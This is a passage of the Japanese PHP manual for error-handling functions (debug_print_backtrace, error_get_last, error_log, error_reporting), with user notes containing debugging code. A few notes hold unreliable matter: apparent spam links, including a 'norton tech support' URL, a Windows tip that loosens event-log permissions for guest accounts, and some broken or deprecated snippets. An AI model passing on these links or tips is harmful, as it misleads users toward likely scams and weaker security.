            echo 'function debug_backtrace does not exists'."\r\n";
            return;
        }
        //echo '<pre>';
        echo "\r\n".'----------------'."\r\n";
        echo 'Debug backtrace:'."\r\n";
        echo '----------------'."\r\n";
        foreach(debug_backtrace() as $t)
        {
            echo "\t" . '@ ';
            if(isset($t['file'])) echo basename($t['file']) . ':' . $t['line'];
            else
            {
                // if file was not set, I assumed the functioncall
                // was from PHP compiled source (ie XML-callbacks).
                echo '<PHP inner-code>';
            }

            echo ' -- ';

            if(isset($t['class'])) echo $t['class'] . $t['type'];

            echo $t['function'];

            if(isset($t['args']) && sizeof($t['args']) > 0) echo '(...)';
            else echo '()';

            echo "\r\n";
        }
        //echo '</pre>';
        exit;
         }
jlim#natsoft.com.my 13-Mar-2003 05:51
Pretty print the backtrace(). Functions are indented based on call value, and file is linked using file:// for convenience.

Enjoy, John Lim

    function adodb_backtrace($print=true)
    {
        $s = '';
        if (PHPVERSION() >= 4.3) {

            $MAXSTRLEN = 64;

            $s = '<pre align=left>';
            $traceArr = debug_backtrace();
            array_shift($traceArr);
            $tabs = sizeof($traceArr)-1;
            foreach ($traceArr as $arr) {
                for ($i=0; $i < $tabs; $i++) $s .= ' &nbsp; ';
                $tabs -= 1;
                $s .= '<font face="Courier New,Courier">';
                if (isset($arr['class'])) $s .= $arr['class'].'.';
                foreach($arr['args'] as $v) {
                    if (is_null($v)) $args[] = 'null';
                    else if (is_array($v)) $args[] = 'Array['.sizeof($v).']';
                    else if (is_object($v)) $args[] = 'Object:'.get_class($v);
                    else if (is_bool($v)) $args[] = $v ? 'true' : 'false';
                    else {
                        $v = (string) @$v;
                        $str = htmlspecialchars(substr($v,0,$MAXSTRLEN));
                        if (strlen($v) > $MAXSTRLEN) $str .= '...';
                        $args[] = $str;
                    }
                }

                $s .= $arr['function'].'('.implode(', ',$args).')';
                $s .= sprintf("</font><font color=#808080 size=-1> # line %4d,".
  " file: <a href=\"file:/%s\">%s</a></font>",
  $arr['line'],$arr['file'],$arr['file']);
                $s .= "\n";
            }
            $s .= '</pre>';
            if ($print) print $s;
        }
        return $s;
    }


バックトレースを表示する

  • ≪ debug_backtrace
  • error_clear_last ≫
  • PHP Manual
  • エラー処理関数
  • バックトレースを表示する

debug_print_backtrace

(PHP 5, PHP 7, PHP 8)

debug_print_backtrace — バックトレースを表示する

説明

debug_print_backtrace ( int $options = 0 , int $limit = 0 ) : void

debug_print_backtrace() は PHP バックトレースを 表示します。関数のコール、include / require されているファイル、 そして eval() された内容などが表示されます。

パラメータ

options

PHP 5.3.6 の時点では、このパラメータは次のオプションのビットマスクとなります。

debug_print_backtrace() のオプション
DEBUG_BACKTRACE_IGNORE_ARGS "args" インデックスを無視してすべての関数/メソッドの引数をメモリに格納するかどうか。

limit

5.4.0 以降、このパラメータを使ってスタックフレームの数を制限できるようになりました。 デフォルト (limit=0) は、すべてのスタックフレームを表示します。

返り値

値を返しません。

例

例1 debug_print_backtrace() の例

<?php
// ファイル名: include.php

function a() {
    b();
}

function b() {
    c();
}

function c(){
    debug_print_backtrace();
}

a();

?>
<?php
// ファイル名: test.php
// このファイルを実行する

include 'include.php';
?>

上の例の出力は、 たとえば以下のようになります。

#0  c() called at [/tmp/include.php:10]
#1  b() called at [/tmp/include.php:6]
#2  a() called at [/tmp/include.php:17]
#3  include(/tmp/include.php) called at [/tmp/test.php:3]

参考

  • debug_backtrace() - バックトレースを生成する

User Contributed Notes

David Spector 02-Aug-2020 02:58
If your show your error messages in HTML (with suitable safety using entities), this function won't work nicely because it uses newlines for formatting.

Here is a function that works similarly, but using <BR> tags. Insert it near the beginning of your program to add a stack to Warning output only, or modify it as you like:

// Here is code for error stack output in HTML:
function error_handler_callback($errno,$message,$file,$line,$context)
    {
    if ($errno === E_WARNING)
        echo "Stack, innermost first:<br>".nl2br((new Exception())->getTraceAsString());
    return false; // to execute the regular error handler
    }
set_error_handler("error_handler_callback");
AB 18-Oct-2015 06:59
This code will give you a simple horizontal stack trace to assist debugging:

<?php

class A {
    public function testA() {
        echo "<LI>Class A.testA ----??";
        echo "<LI>".$this->whoDidThat();
    }
    public function whoDidThat() {
        $who=debug_backtrace();
        $result="";
        $count = 0;
        $last=count($who);
        foreach($who as $k=>$v) {
            if ($count++ > 0) {
                $x="";
                if ( $count>2) {
                    $x=">";
                }
                $result="[line".$who[$k]['line']."]".$who[$k]['class'].".".$who[$k]['function'].$x.$result;
            }
        }
        return $result;
    }
}
class B extends A {
    public function testB() {
        echo "<LI>Class B.testB";
        echo "<LI>".$this->whoDidThat();
    }
    public function testA() {
        echo "<LI>Class testB.testA  ---- Y";
        echo "<LI>".$this->whoDidThat();
    }
}
class C {
    public function test() {
        echo "<HR>";
        $b=new B();
        echo "<HR>Class C calling B.testA";
        $b->testA();
    }
}

$c=new C();
$c->test();
echo debug_print_backtrace();
?>

When run you get

Class C calling B.testA
*Class testB.testA ---- Y
*[line45]C.test>[line40]B.testA
chris dot kistner at gmail dot com 01-Apr-2010 04:31
Here's a function that returns a string with the same information shown in debug_print_backtrace(), with the option to exclude a certain amount of traces (by altering the $traces_to_ignore argument).

I've done a couple of tests to ensure that it prints exactly the same information, but I might have missed something.

This solution is a nice workaround to get the debug_print_backtrace() information if you're already using ob_start() in your PHP code.

<?php
function get_debug_print_backtrace($traces_to_ignore = 1){
    $traces = debug_backtrace();
    $ret = array();
    foreach($traces as $i => $call){
        if ($i < $traces_to_ignore ) {
            continue;
        }

        $object = '';
        if (isset($call['class'])) {
            $object = $call['class'].$call['type'];
            if (is_array($call['args'])) {
                foreach ($call['args'] as &$arg) {
                    get_arg($arg);
                }
            }
        }

        $ret[] = '#'.str_pad($i - $traces_to_ignore, 3, ' ')
        .$object.$call['function'].'('.implode(', ', $call['args'])
        .') called at ['.$call['file'].':'.$call['line'].']';
    }

    return implode("\n",$ret);
}

function get_arg(&$arg) {
    if (is_object($arg)) {
        $arr = (array)$arg;
        $args = array();
        foreach($arr as $key => $value) {
            if (strpos($key, chr(0)) !== false) {
                $key = '';    // Private variable found
            }
            $args[] =  '['.$key.'] => '.get_arg($value);
        }

        $arg = get_class($arg) . ' Object ('.implode(',', $args).')';
    }
}
?>
bishop 28-Jul-2009 01:20
Another way to manipulate and print a backtrace, without using output buffering:

<?php
// print backtrace, getting rid of repeated absolute path on each file
$e = new Exception();
print_r(str_replace('/path/to/code/', '', $e->getTraceAsString()));
?>
dany dot dylan at gmail dot com 10-Nov-2008 09:51
I like the output of debug_print_backtrace() but I sometimes want it as a string.

bortuzar's solution to use output buffering is great, but I'd like to factorize that into a function.  Doing that however always results in whatever function name I use appearing at the top of the stack which is redundant.

Below is my noddy (simple) solution.  If you don't care for renumbering the call stack, omit the second preg_replace().

<?php
    function debug_string_backtrace() {
        ob_start();
        debug_print_backtrace();
        $trace = ob_get_contents();
        ob_end_clean();

        // Remove first item from backtrace as it's this function which
        // is redundant.
        $trace = preg_replace ('/^#0\s+' . __FUNCTION__ . "[^\n]*\n/", '', $trace, 1);

        // Renumber backtrace items.
        $trace = preg_replace ('/^#(\d+)/me', '\'#\' . ($1 - 1)', $trace);

        return $trace;
    }
?>
taner 21-Aug-2007 04:52
bortuzar: a simpler version, w/o output buffering:

<?php

$query = sprintf("INSERT INTO EventLog (Trace) VALUES ('%s')",
    mysql_real_escape_string(join("\n", debug_backtrace())) );
mysql_query($query);

?>
bortuzar at gmail dot com 05-Jun-2007 11:23
If you want to get the trace into a variable or DB, I suggest to do the following:

<?php
    ob_start();
        debug_print_backtrace();
    $trace = ob_get_contents();
    ob_end_clean();

$query = sprintf("INSERT INTO EventLog (Trace) VALUES ('%s')",
            mysql_real_escape_string($trace));
mysql_query($query);
?>
aidan at php dot net 15-Mar-2005 01:47
This functionality is now implemented in the PEAR package PHP_Compat.

More information about using this function without upgrading your version of PHP can be found on the below link:

http://pear.php.net/package/PHP_Compat


最も最近のエラーをクリア

  • ≪ debug_print_backtrace
  • error_get_last ≫
  • PHP Manual
  • エラー処理関数
  • 最も最近のエラーをクリア

error_clear_last

(PHP 7, PHP 8)

error_clear_last — 最も最近のエラーをクリア

説明

error_clear_last ( ) : void

返り値

最も最近のエラーをクリアーし、 error_get_last() で取得できないようにします。

例

例1 error_clear_last() の例

<?php
var_dump(error_get_last());
error_clear_last();
var_dump(error_get_last());

@$a = $b;

var_dump(error_get_last());
error_clear_last();
var_dump(error_get_last());
?>

上の例の出力は、 たとえば以下のようになります。

NULL
NULL
array(4) {
  ["type"]=>
  int(8)
  ["message"]=>
  string(21) "Undefined variable: b"
  ["file"]=>
  string(9) "%s"
  ["line"]=>
  int(6)
}
NULL

参考

  • エラー定数

User Contributed Notes

There are no user contributed notes for this page.


最後に発生したエラーを取得する

  • ≪ error_clear_last
  • error_log ≫
  • PHP Manual
  • エラー処理関数
  • 最後に発生したエラーを取得する

error_get_last

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

error_get_last — 最後に発生したエラーを取得する

説明

error_get_last ( ) : array|null

最後に発生したエラーについての情報を取得します。

返り値

最後に発生したエラーについての情報を連想配列で返します。連想配列のキーは "type"、"message"、"file" および "line" となります。 PHP の内部関数で発生したエラーの場合は、 "message" の先頭に関数名が含まれています。 エラーが発生していない場合は null を返します。

例

例1 error_get_last() の例

<?php
echo $a;
print_r(error_get_last());
?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [type] => 8
    [message] => Undefined variable: a
    [file] => C:\WWW\index.php
    [line] => 2
)

参考

  • エラー定数
  • 変数 $php_errormsg
  • error_clear_last() - 最も最近のエラーをクリア
  • ディレクティブ display_errors
  • ディレクティブ html_errors
  • ディレクティブ xmlrpc_errors

User Contributed Notes

admin at manomite dot net 18-Dec-2017 11:06
This is a simple debugging script for mail functions...

<?php
//Built By Manomite for Debugging

class Error{

function __construct(){

error_reporting ( E_ALL ^ E_NOTICE );
$err = error_get_last ();

if($err){

$res = "An error has occurred in your application sir.\n Details Include " .$err.""

mail("admin@manomite.net","Error Occurred",$res,$from);
}
}
}
?>
nicolas dot grekas+php at gmail dot com 23-Oct-2013 09:37
[Editor's note: as of PHP 7.0.0 there is error_clear_last() to clear the most recent error.]

To clear error_get_last(), or put it in a well defined state, you should use the code below. It works even when a custom error handler has been set.

<?php

// var_dump or anything else, as this will never be called because of the 0
set_error_handler('var_dump', 0);
@$undef_var;
restore_error_handler();

// error_get_last() is now in a well known state:
// Undefined variable: undef_var

... // Do something

$e = error_get_last();

...

?>
vike2000 at google mail domain 06-Mar-2013 11:26
To know if something happened between two statements one can of course use a special string with user_error() (in lieu of a built-in special reset mentioned by mail at mbaierl dot com): <?php
@user_error($error_get_last_mark='error_get_last mark');
$not_set;
$error_get_last=error_get_last();
$something_happened=($error_get_last['message']!=$error_get_last_mark); ?>

If your <?php set_error_handler(function) ?> function returns true then you'll have to roll you own error_get_last functionality. (Shortly mentioned by dmgx dot michael at gmail dot com).

To manual moderators: Re php.net/manual/add-note.php: Since i guess the above technically sorts under "References to other notes" i feel the need to defend myself with that i'm thinking it might show for usability where other's say it fails and no, i haven't got any other medium to reach the readers of the php manual notes.
Also, you could have some examples of what notes you think is okay. Thanks for your moderation.
php at joert dot net 19-Apr-2011 02:36
To simulate this function in a horrid way for php <5.2, you can use something like this.
<?php
if( !function_exists('error_get_last') ) {
    set_error_handler(
        create_function(
            '$errno,$errstr,$errfile,$errline,$errcontext',
            '
                global $__error_get_last_retval__;
                $__error_get_last_retval__ = array(
                    \'type\'        => $errno,
                    \'message\'        => $errstr,
                    \'file\'        => $errfile,
                    \'line\'        => $errline
                );
                return false;
            '
        )
    );
    function error_get_last() {
        global $__error_get_last_retval__;
        if( !isset($__error_get_last_retval__) ) {
            return null;
        }
        return $__error_get_last_retval__;
    }
}
?>
dmgx dot michael at gmail dot com 07-Oct-2010 04:41
If an error handler (see set_error_handler ) successfully handles an error then that error will not be reported by this function.
Skrol29 24-Jul-2010 03:09
Function error_get_last() will return an error information even if the error is hidden because you've used character @, because of  the "error_reporting" directive in the php.ini file, or because you've used function error_reporting().

Examples:

<?php
error_reporting(E_ALL ^ E_NOTICE);
$y = $x;
$err = error_get_last();
var_export($err);
?>
Will display: array ( 'type' => 8, 'message' => 'Undefined variable: x', 'file' => 'test.php', 'line' => 4, )

<?php
$y = @$x;
$err = error_get_last();
var_export($err);
?>
Will display: array ( 'type' => 8, 'message' => 'Undefined variable: x', 'file' => 'test.php', 'line' => 4, )
scott at eyefruit dot com 25-Jun-2010 01:47
If you have the need to check whether an error was a fatal error  before PHP 5.2 (in my case, within an output buffer handler), you can use the following hack:

<?php
# Check if there was a PHP fatal error.
# Using error_get_last is the "right" way, but it requires PHP 5.2+. The back-up is a hack.
if (function_exists('error_get_last')) {
    $lastPHPError = error_get_last();
    $phpFatalError = isset($lastPHPError) && $lastPHPError['type'] === E_ERROR;
} else {
    $phpFatalError = strstr($output, '<b>Fatal error</b>:') && ! strstr($output, '</html>');
}
?>

This is, of course, language-dependent, so it wouldn't be good in widely-distributed code, but it may help in certain cases (or at least be the base of something that would work).
iant at clickwt dot com 05-Nov-2009 09:13
Beware that registing a shutdown function to catch errors won't work if other shutdown functions throw errors.

<?php

register_shutdown_function('cleanupObjects');
register_shutdown_function('handleFatalPhpError');

function cleanupObjects() {
   trigger_error('An insignificant problem', E_USER_WARNING);
}

function handleFatalPhpError() {
   $last_error = error_get_last();
   if($last_error['type'] === E_ERROR || $last_error['type'] === E_USER_ERROR) {
      echo "Can do custom output and/or logging for fatal error here...";
   }
}

trigger_error('Something serious', E_USER_ERROR);

?>

In the above code, $last_error will contain the warning, becuase cleanupObjects() is called first.
michael at getsprink dot com 10-Aug-2009 10:15
The error_get_last() function will give you the most recent error even when that error is a Fatal error.

Example Usage:

<?php

register_shutdown_function('handleFatalPhpError');

function handleFatalPhpError() {
   $last_error = error_get_last();
   if($last_error['type'] === E_ERROR) {
      echo "Can do custom output and/or logging for fatal error here...";
   }
}

?>
phil at wisb dot net 04-Dec-2008 04:12
While mail at mbaierl dot com makes the point that this function isn't best for reporting the possible error condition of the most recently executed step, there are situations in which it is especially helpful to know the last error—regardless of when it occurred.

As an example, imagine if you had some code that captured the output from dynamic pages, and cached it for faster delivery to subsequent visitors. A final sanity check would be to see if an error has occurred anywhere during the execution of the script. If there has been an error, we probably don't want to cache that page.
Brad 16-Jun-2008 11:54
Like $php_errormsg, the return value of this function may not be updated if a user-defined error handler returns non-FALSE. Tested on PHP 5.2.6.

<?php
var_dump(PHP_VERSION);
// Outputs: string(5) "5.2.6"

@trigger_error("foo");
$e=error_get_last();
var_dump($e['message']);
// Outputs: string(3) "foo"

set_error_handler(create_function('$a,$b',''));

@trigger_error("bar");
$e=error_get_last();
var_dump($e['message']);
// Outputs: string(3) "foo"

set_error_handler(create_function('$a,$b','return false;'));

@trigger_error("baz");
$e=error_get_last();
var_dump($e['message']);
// Outputs: string(3) "baz"
?>
Brad 16-Jun-2008 11:36
It can't be completely reset, but you can "clear" it well enough for all practical purposes:
<?php
@trigger_error("");
// do stuff...
$e=error_get_last();
if($e['message']!==''){
    // An error occurred
}
?>
mail at mbaierl dot com 04-Jun-2008 05:21
This function is pretty useless, as it can not be reset, so there is no way to know if the error really happened on the line before this function call.


定義されたエラー処理ルーチンにエラーメッセージを送信する

  • ≪ error_get_last
  • error_reporting ≫
  • PHP Manual
  • エラー処理関数
  • 定義されたエラー処理ルーチンにエラーメッセージを送信する

error_log

(PHP 4, PHP 5, PHP 7, PHP 8)

error_log — 定義されたエラー処理ルーチンにエラーメッセージを送信する

説明

error_log ( string $message , int $message_type = 0 , string $destination = ? , string $extra_headers = ? ) : bool

エラーメッセージを Web サーバーのエラーログあるいはファイルに送ります。

パラメータ

message

ログに記録されるエラーメッセージ。

message_type

メッセージをどこに送るのかを指定します。以下の中から指定できます。

error_log() ログタイプ
0 | message は、オペレーティング・システム のシステムログのメカニズムまたはファイルのいずれかを使って PHP のシステム・ロガーに送られます。どちらが使われるかは、 設定ディレクティブ error_log の内容により決定されます。これはデフォルトのオプションです。
1 | message は、destination パラメータで指定されたアドレスに、電子メール により送られます。このメッセージタイプの場合にのみ、 4 番目のパラメータである extra_headers が使われます。
2 | このオプションは存在しません。
3 | message は destination で指定されたファイルに追加されます。 明示的に指定しない限り、message の 最後には改行文字は追加されません。
4 | message は、直接 SAPI のログ出力ハンドラに送信されます。

destination

メッセージの送信先。その設定は、上で説明している message_type パラメータの値によります。

extra_headers

追加のヘッダ。message_type パラメータが 1 に設定される場合に利用されます。 このメッセージタイプは、mail() と同様に 内部関数を利用します。

返り値

成功した場合に true を、失敗した場合に false を返します。 message_type が0の場合、 エラーがロギング出来たかそうでないかに関わらず、この関数は常に true を返します。

注意

警告

error_log() はバイナリセーフではありません。 message に null 文字があれば、そこで切り詰められます。

ヒント

message に null 文字を含めてはいけません。 message の送り先はファイルやメール、そして syslog などになることもあります。 base64_encode() や rawurlencode()、addslashes() などの関数で適切に変換してから error_log() に渡す必要があります。

例

例1 error_log() の例

<?php
// データベースに接続できない場合、
// サーバーログを通してエラーを通知する。
if (!Ora_Logon($username, $password)) {
    error_log("オラクルのデータベースが使用できません!", 0);
}

// FOO に失敗したら、管理者に email で通知する
if (!($foo = allocate_new_foo())) {
    error_log("大変です。FOO に失敗しました!", 1,
               "operator@example.com");
}

// これ以外の error_log() のコール方法：
error_log("大変だ!", 3, "/var/tmp/my-errors.log");
?>

User Contributed Notes

Anonymous 06-Nov-2020 08:41
Depending on the error, you may also want to add an error 500 header, and a message for the user:

$message =  'Description of the error.';
error_log($message);
header($_SERVER['SERVER_PROTOCOL'] . ' 500 Internal Server Error', true, 500);
exit($message);
russ at russtanner dot com 22-Nov-2019 09:10
You can easily filter messages sent to error_log() using "tail" and "grep" on *nix systems. This makes monitoring debug messages easy to see during development.

Be sure to "tag" your error message with a unique string so you can filter it using "grep":

In your code:

error_log("DevSys1 - FirstName: $FirstName - LastName: $Lastname");

On your command line:

tail -f /var/log/httpd/error_log | grep DevSys1

In this example, we pipe apache log output to grep (STDIN) which filters it for you only showing messages that contain "DevSys1".

The "-f" option means "follow" which streams all new log entries to your terminal or to any piped command that follows, in this case "grep".
Matthew Swift 05-Nov-2019 01:32
Relative paths are accepted as the destination of message_type 3, but beware that the root directory is determined by the context of the call to error_log(), which can change, so that one instance of error_log () in your code can lead to the creation of multiple log files in different locations.

In a WordPress context, the root directory will be the site's root in many cases, but it will be /wp-admin/ for AJAX calls, and a plugin's directory in other cases. If you want all your output to go to one file, use an absolute path.
Sion 18-Oct-2018 02:48
DO NOT try to output TOO LARGE texts in the error_log();

if you try to output massive amounts of texts it will either cut of the text at about 8ooo characters (for reasonable massive strings, < 32 K characters) or (for insanely massive strings, about 1.6 million characters) totally crash without even throwing an error or anything (I even put it in a try/catch without getting any result from the catch).

I had this problem when I tried to debug a response from a wp_remote_get(); all of my error_log() worked as they should, except for ONE of them... (-_-)
After about a day of debugging I finally found out why & that's why I type this.

Apparently the response contained a body with over 1.6 million chars (or bytes? (whatever strlen() returns)).

If you have a string of unknown length, use this:
$start_index = 0;
$end_index = 8000;
error_log( substr( $output_text , $start_index , $end_index ) );
Robert Chapin 03-Oct-2018 11:31
When error_log() unexpectedly uses stdout, you should check if the php.ini value for error_log is empty in your CLI environment.  Something as simple as this might restore expected behavior:

<?php ini_set('error_log', 'error_log'); ?>
roychri at php dot net 25-Apr-2010 09:02
There is a limit on the maximum length that you can pass as the $message.

The default seem to be 1024 but can be changed by adjusting the value of the runtime configuration value of 'log_errors_max_len'.

More details here:
http://www.php.net/manual/en/errorfunc.configuration.php
kevindougans at gmail dot com 24-Feb-2010 02:19
Advice to novices: This function works great along with "tail" which is a unix command to watch a log file live. There are versions of Tail for Windows too, like Tail for Win32 or Kiwi Log Viewer.

Using both error_log() and tail to view the php_error.log you can debug code without having to worry so much about printing debug messages to the screen and who they might be seen by.

Further Note: This works even better when you have two monitors setup. One for your browser and IDE and the other for viewing the log files update live as you go.
daniel dot fukuda at gmail dot com 01-Sep-2009 05:42
If you have a problem with log file permission *silently*
it's best to leave error_log directive unset so errors will be written in your Apache log file for current VirtualHost.
Anonymous 26-Aug-2009 10:22
After scouring the internet for getting event logging to
work in syslog on Windows 2003, I found the following
from this post and was able to successfully get Windows
Event Viewer to log PHP errors/notices:

http://forums.iis.net/p/1159662/1912015.aspx#1913338

   1. Copy the PHP 5 binaries to "C:\php".
   2. Right-click My Computer and select Properties to bring
up the Computer Properties dialog. Switch to the Advanced
tab and click Environment Variables. Find the system
environment variable PATH, edit it and add ";C:\php"
(without the quotes) to the end.
   3. Make sure that the configuration file "php.ini" resides
in the directory "C:\php" and contains the correct path
settings.
   4. DELETE any old "php.ini" files from "C:\WINDOWS"
and other directories.
   5. Open REGEDIT, navigate to the key
"HKLM\SOFTWARE\PHP" and DELETE the string value
"IniFilePath" from there. It is outdated and no longer
necessary!
   6. Modify NTFS security permissions of the directory
"C:\php" to give Read and Execute permissions to (1) the
IIS Guest Account and (2) the group IIS_WPG.
   7. Modify NTFS security permissions of the directories
"C:\php\session" and "C:\php\upload" to give additional
Modify permissions to (1) the IIS Guest Account and (2)
the group IIS_WPG.
   8. Navigate to the registry key
"HKLM\SYSTEM\CurrentControlSet\Services\Eventlog
\Application" and edit the value "CustomSD" there. Find
the substring "(D;;0xf0007;;;BG)" which Denies access to
the application event log for Builtin Guest accounts (like
the IIS Web User account) and replace this substring with
"(A;;0x3;;;BG)" which allows read and write access. Please
pay attention to leave the rest of the security string intact.
Damaging this value can have dangerous effects!
   9. Create or update the registry key
"HKLM\SYSTEM\CurrentControlSet\Services\Eventlog\Application\
PHP-5.2.0" (adapt the last to your version part
if necessary) with the following values:

          * "EventMessageFile" (REG_EXPAND_SZ) = "C:\php\php5ts.dll"

          * "TypesSupported" (REG_DWORD) = 7
eguvenc at gmail dot com 28-Oct-2008 08:03
<?php
//Multiline error log class
// ersin guvenc 2008 eguvenc@gmail.com
//For break use "\n" instead '\n'

Class log {
  //
  const USER_ERROR_DIR = '/home/site/error_log/Site_User_errors.log';
  const GENERAL_ERROR_DIR = '/home/site/error_log/Site_General_errors.log';

  /*
   User Errors...
  */
    public function user($msg,$username)
    {
    $date = date('d.m.Y h:i:s');
    $log = $msg."   |  Date:  ".$date."  |  User:  ".$username."\n";
    error_log($log, 3, self::USER_ERROR_DIR);
    }
    /*
   General Errors...
  */
    public function general($msg)
    {
    $date = date('d.m.Y h:i:s');
    $log = $msg."   |  Date:  ".$date."\n";
    error_log($msg."   |  Tarih:  ".$date, 3, self::GENERAL_ERROR_DIR);
    }

}

$log = new log();
$log->user($msg,$username); //use for user errors
//$log->general($msg); //use for general errors
?>
paul dot chubb at abs dot gov dot au 16-Jun-2008 10:37
When logging to apache on windows, both error_log and also trigger_error result in an apache status of error on the front of the message. This is bad if all you want to do is log information. However you can simply log to stderr however you will have to do all message assembly:

LogToApache($Message) {
        $stderr = fopen('php://stderr', 'w');
        fwrite($stderr,$Message);
        fclose($stderr);
}
i dot buttinoni at intandtel dot com 16-Feb-2008 03:32
Be carefull. Unexpected PHP dies when 2GByte of file log reached (on systems having upper file size limit).
A work aorund is rotate logs :)
SJL 31-Dec-2007 06:16
"It appears that the system log = stderr if you are running PHP from the command line"

Actually, it seems that PHP logs to stderr if it can't write to the log file. Command line PHP falls back to stderr because the log file is (usually) only writable by the webserver.
stepheneliotdewey at GmailDotCom 26-Jun-2007 06:05
Note that since typical email is unencrypted, sending data about your errors over email using this function could be considered a security risk. How much of a risk it is depends on how much and what type of information you are sending, but the mere act of sending an email when something happens (even if it cannot be read) could itself imply to a sophisticated hacker observing your site over time that they have managed to cause an error.

Of course, security through obscurity is the weakest kind of security, as most open source supporters will agree. This is just something that you should keep in mind.

And of course, whatever you do, make sure that such emails don't contain sensitive user data.
frank at booksku dot com 02-Nov-2006 03:28
Beware!  If multiple scripts share the same log file, but run as different users, whichever script logs an error first owns the file, and calls to error_log() run as a different user will fail *silently*!

Nothing more frustrating than trying to figure out why all your error_log calls aren't actually writing, than to find it was due to a *silent* permission denied error!
p dot lhonorey at nospam-laposte dot net 28-Aug-2006 03:33
Hi !

Another trick to post "HTML" mail body. Just add "Content-Type: text/html; charset=ISO-8859-1" into extra_header string. Of course you can set charset according to your country or Env or content.

EG: Error_log("<html><h2>stuff</h2></html>",1,"eat@joe.com","subject  :lunch\nContent-Type: text/html; charset=ISO-8859-1");

Enjoy !
php at kennel17 dot NOSPAM dot co dot uk 25-Jul-2005 02:04
It appears that the system log = stderr if you are running PHP from the command line, and that often stderr = stdout.  This means that if you are using a custom error to both display the error and log it to syslog, then a command-line user will see the same error reported twice.
kazezb at nospam dot carleton dot edu 21-Jul-2005 10:39
It appears that error_log() only logs the first line of multi-line log messages. To log a multi-line message, either log each line individually or write the message to another file.
franz at fholzinger dot com 20-Apr-2005 09:21
In the case of missing your entries in the error_log file:
When you use error_log in a script that does not produce any output, which means that you cannot see anything during the execution of the script, and when you wonder why there are no error_log entries produced in your error_log file, the reasons can be:
- you did not configure error_log output in php.ini
- the script has a syntax error and did therefore not execute
28-Mar-2003 02:14
when using error_log to send email, not all elements of an extra_headers string are handled the same way.  "From: " and "Reply-To: " header values will replace the default header values. "Subject: " header values won't: they are *added* to the mail header but don't replace the default, leading to mail messages with two Subject fields.

<?php

error_log("sometext", 1, "zigzag@my.domain",
  "Subject: Foo\nFrom: Rizzlas@my.domain\n");

?>

---------------%<-----------------------
To: zigzag@my.domain
Envelope-to: zigzag@my.domain
Date: Fri, 28 Mar 2003 13:29:02 -0500
From: Rizzlas@my.domain
Subject: PHP error_log message
Subject: Foo
Delivery-date: Fri, 28 Mar 2003 13:29:03 -0500

sometext
---------------%<---------------------

quoth the docs: "This message type uses the same internal function as mail() does."

mail() will also fail to set a Subject field based on extra_header data - instead it takes a seperate argument to specify a "Subject: " string.

php v.4.2.3, SunOS 5.8


出力する PHP エラーの種類を設定する

  • ≪ error_log
  • restore_error_handler ≫
  • PHP Manual
  • エラー処理関数
  • 出力する PHP エラーの種類を設定する

error_reporting

(PHP 4, PHP 5, PHP 7, PHP 8)

error_reporting — 出力する PHP エラーの種類を設定する

説明

error_reporting ( int $level = ? ) : int

error_reporting() 関数は、 error_reporting ディレクティブを 実行時に設定します。PHP には多くのエラーレベルがあり、 この関数によりスクリプトの持続時間(実行時間)のレベルが設定されます。 オプションの level を指定しなかった場合は、 error_reporting() は単に現在のエラーレベルを返します。

パラメータ

level

新しい error_reporting レベル。ビットマスクまたは名前つき定数のどちらかです。将来の バージョンとの互換性を保証するために、名前つき定数の使用が 強く推奨されています。エラーレベルが追加されると、整数の幅は増加します。 そのため、以前の整数を使用するエラーレベルは常に期待通りに動作するとは 限りません。

利用可能なエラーレベル定数とその実際の意味は、 定義済みの定数に 記述されています。

返り値

変更前の error_reporting レベルを返します。level パラメータを指定しなかった場合は、現在のレベルを返します。

例

例1 error_reporting() の例

<?php

// 全てのエラー出力をオフにする
error_reporting(0);

// 単純な実行時エラーを表示する
error_reporting(E_ERROR | E_WARNING | E_PARSE);

// E_NOTICE を表示させるのもおすすめ（初期化されていない
// 変数、変数名のスペルミスなど...）
error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE);

// E_NOTICE 以外の全てのエラーを表示する
error_reporting(E_ALL & ~E_NOTICE);

// 全ての PHP エラーを表示する
error_reporting(E_ALL);

// 全ての PHP エラーを表示する
error_reporting(-1);

// error_reporting(E_ALL); と同じ
ini_set('error_reporting', E_ALL);

?>

注意

警告

ほとんどの E_STRICT レベルのエラーは スクリプトのコンパイル時に発生します。そのため、 error_reporting で E_STRICT を含むように設定されている環境では これらのエラーを検出できません (逆も同様です)。

ヒント

値に -1 を指定すると、仮に将来のバージョンの PHP で新しいレベルと定数が追加されたとしてもすべてのエラーを表示するようになります。 E_ALL 定数も、PHP 5.4 以降これと同じ挙動になります。

参考

  • display_errors ディレクティブ
  • html_errors ディレクティブ
  • xmlrpc_errors ディレクティブ
  • ini_set() - 設定オプションの値を設定する

User Contributed Notes

jcastromail at yahoo dot es 12-Jan-2021 03:01
Under PHP 8.0, error_reporting() does not return 0 when then the code uses a @ character.

For example

<?php

$a=$array[20]; // error_reporting() returns 0 in php <8 and 4437 in PHP>=8

?>
&IT 27-Apr-2020 08:13
error_reporting(E_ALL);
if (!ini_get('display_errors')) {
    ini_set('display_errors', '1');
}
lhenry at lhenry dot com 18-Nov-2019 06:21
In php7,  what was generally a notice or a deprecated is now a warning : the same level of a mysql error ...  unacceptable for me.

I do have dozen of old projects and I surely d'ont want to define every variable which I eventually wrote 20y ago.

So two option: let php7 degrade my expensive SSDs writing Gb/hours or implement smthing like server level monitoring ( with auto_[pre-ap]pend_file in php.ini) and turn off E_WARNING

Custom overriding the level of php errors should be super handy and flexible ...
huhiko334 at yandex dot ru 23-Sep-2018 02:20
If you get a weird mysql warnings like "Warning: mysql_query() : Your query requires a full tablescan...", don't look for error_reporting settings - it's set in php.ini.
You can turn it off with
ini_set("mysql.trace_mode","Off");
in your script
http://tinymy.link/mctct
luisdev 29-May-2018 12:26
This article refers to these two reporting levels:

// Report all PHP errors (see changelog)
error_reporting(E_ALL);

// Report all PHP errors
error_reporting(-1);

What is the difference between those two levels?

Please update this article with a clear explanation of the difference and the possible use cases.
kevinson112 at yahoo dot com 16-Apr-2018 05:34
I had the problem that if there was an error, php would just give me a blank page.  Any error at all forced a blank page instead of any output whatsoever, even though I made sure that I had error_reporting set to E_ALL, display_errors turned on, etc etc.  But simply running the file in a different directory allowed it to show errors!

Turns out that the error_log file in the one directory was full (2.0 Gb).  I erased the file and now errors are displayed normally.  It might also help to turn error logging off.

https://techysupport.co/norton-tech-support/
adam at adamhahn dot com 14-Mar-2017 09:35
